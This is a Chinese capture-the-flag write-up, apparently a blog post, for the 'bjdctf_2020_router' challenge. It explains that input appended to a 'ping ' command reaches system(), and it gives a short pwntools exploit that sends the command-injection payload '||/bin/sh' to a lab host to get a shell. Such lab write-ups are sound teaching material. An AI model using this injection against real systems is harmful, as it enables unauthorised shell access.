bjdctf_2020_router 1

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
在这里插入图片描述
逻辑很简单,一直打印菜单,但仔细看来只有1有用,别的都是迷惑的,1中的功能先是读入一个0x10大小的字符串buf,然后使用strcat函数将buf拼接在dest后面,那这个dest是什么呢,我们先随便输入一个字符串
在这里插入图片描述
跟据后面的提示想到dest应该是ping,因为ping命令后面什么也不跟会报错。
还有一种方法就是上面已经有了dest的值了
在这里插入图片描述
其值为0x20676E6970,该值就是ping的ascall码形式,连着的两位16进制的数表示一个字符,比如0x20表示的是空格,因为是小端序,字符逆序存放,0x67,0x6e,0x69,0x70
分别对应g,n,i,p。
但对于解题来说刚才有的说的不重要,重要的是能输入字符串然后将其拼接到ping后面执行system命令,所以需要用到逻辑运算符||或&,在buf中先输入||或&,然后再输入’/bin/sh’后就可执行system(‘/bin/sh’)夺权了

3.exp

from pwn import*
p=remote('node5.buuoj.cn',26213)
p.sendline('1')
p.sendline(b'||/bin/sh')
p.interactive()

exp也比较简单

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值